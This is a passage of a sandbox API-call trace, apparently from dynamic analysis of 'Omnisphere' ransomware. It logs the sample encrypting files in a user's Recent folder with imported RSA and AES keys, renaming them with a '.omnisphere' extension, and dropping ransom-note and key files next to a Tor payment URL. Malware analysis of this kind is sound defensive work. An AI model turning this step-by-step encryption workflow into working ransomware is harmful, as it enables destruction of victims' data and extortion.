"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0tq m_ct tecyu 7qggp.flv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.340] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.341] CloseHandle (hObject=0x3c0) returned 1 [0118.342] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.342] CloseHandle (hObject=0x288) returned 1 [0118.342] SetEndOfFile (hFile=0x28c) returned 1 [0118.342] FlushFileBuffers (hFile=0x28c) returned 1 [0118.724] CloseHandle (hObject=0x28c) returned 1 [0118.725] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0tq M_cT tEcyU 7qggP.flv.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.725] GetProcessHeap () returned 0x1600000 [0118.725] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a37f8 [0118.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.725] GetProcessHeap () returned 0x1600000 [0118.725] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693a08 [0118.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693a08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.725] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.725] GetProcessHeap () returned 0x1600000 [0118.725] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687108 [0118.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687108, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.725] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.725] GetProcessHeap () returned 0x1600000 [0118.726] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a20e0 [0118.726] PathCombineW (in: pszDest=0x16a20e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.726] GetProcessHeap () returned 0x1600000 [0118.726] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169da30 [0118.726] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.726] WriteFile (in: hFile=0x28c, lpBuffer=0x169da30*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169da30*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.726] CloseHandle (hObject=0x28c) returned 1 [0118.727] GetProcessHeap () returned 0x1600000 [0118.727] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a37f8 | out: hHeap=0x1600000) returned 1 [0118.727] GetProcessHeap () returned 0x1600000 [0118.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.727] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.727] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.727] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.727] CloseHandle (hObject=0x28c) returned 1 [0118.727] GetProcessHeap () returned 0x1600000 [0118.727] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.727] GetProcessHeap () returned 0x1600000 [0118.727] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0118.727] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d0b551, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20d0b551, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20d0b551, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0x0, dwReserved1=0xd3, cFileName="0uznes.lnk", cAlternateFileName="")) returned 1 [0118.728] GetProcessHeap () returned 0x1600000 [0118.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e908 [0118.728] PathCombineW (in: pszDest=0x165e908, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="0uznes.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk" [0118.728] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.728] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0uznes.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.728] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=800) returned 1 [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.728] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] GetTickCount () returned 0x115dabc [0118.729] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0118.730] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.730] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.730] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.730] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0118.730] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x288 [0118.730] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x1480000 [0118.731] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668df0) returned 1 [0118.731] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.731] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.731] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.731] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.731] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.731] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.731] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.731] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.732] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.733] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.733] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0118.733] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.733] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.733] GetProcessHeap () returned 0x1600000 [0118.733] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16a37f8 [0118.734] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0uznes.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0uznes.lnk.omnisphere")) returned 1 [0118.735] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk.omnisphere.id" [0118.735] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0uznes.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.735] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.737] CloseHandle (hObject=0x3c0) returned 1 [0118.738] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.738] CloseHandle (hObject=0x288) returned 1 [0118.738] SetEndOfFile (hFile=0x28c) returned 1 [0118.738] FlushFileBuffers (hFile=0x28c) returned 1 [0118.742] CloseHandle (hObject=0x28c) returned 1 [0118.742] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uznes.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.742] GetProcessHeap () returned 0x1600000 [0118.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a3aa8 [0118.742] WideCharToMultiByte (in: CodePage=0x0, 